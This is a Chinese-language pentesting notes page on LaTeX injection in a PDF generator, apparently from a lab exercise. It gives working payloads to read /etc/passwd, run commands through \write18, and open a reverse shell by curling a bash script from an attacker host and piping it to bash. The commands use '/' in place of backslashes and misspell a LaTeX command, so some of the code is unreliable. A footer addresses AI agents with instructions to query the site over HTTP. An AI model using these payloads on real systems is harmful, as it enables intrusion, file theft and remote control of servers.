> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/latex-injection-attack/latex-injection-vulnerability-file-read-rce-pentesting-web.md).

# LaTeX 文件读取与 RCE

### LaTeX 注入（文件读取器）

<figure><img src="/files/6a7c13b0590a50e6ad90d3b35de9acaca5f1100a" alt=""><figcaption></figcaption></figure>

我们拦截请求

<figure><img src="/files/376548154c43cb7bdf7450d428022e1205f65694" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6efc75a979d59127abfb32e53d2ac1332124eb20" alt=""><figcaption></figcaption></figure>

#### 文档 PDF LaTeX：

<figure><img src="/files/ccda97389ee9f92a42a173ac96654f63680f0e63" alt=""><figcaption></figcaption></figure>

我们注入：

```latex
/input{/etc/passwd}
/include{password}

```

<figure><img src="/files/984514661e2fe7dfa6a954d422fb61028372abaa" alt=""><figcaption></figcaption></figure>

### **LaTeX RCE 利用**

我们执行一条命令 `id` 通过：

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/e42b4094fced334676e167e712467c03bcf72d7b" alt=""><figcaption></figcaption></figure>

#### **反向 Shell**

我们监听 443 端口：

```bash
nc -nvlp 443

```

我们创建一个 bash 脚本 `index.html`:

```bash
 #!/bin/bash
 bash -i >& /dev/tcp/10.10.14.61/443 0>&1

```

我们启动一个 Web 服务器：

```bash
python3 -m http.server 80

```

载荷注入：

```latex
/immediate/write18{curl http://10.10.14.61 | bash > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/e94d583a5fa6c7a65647fccc5a4aff98e9a7683b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/latex-injection-attack/latex-injection-vulnerability-file-read-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
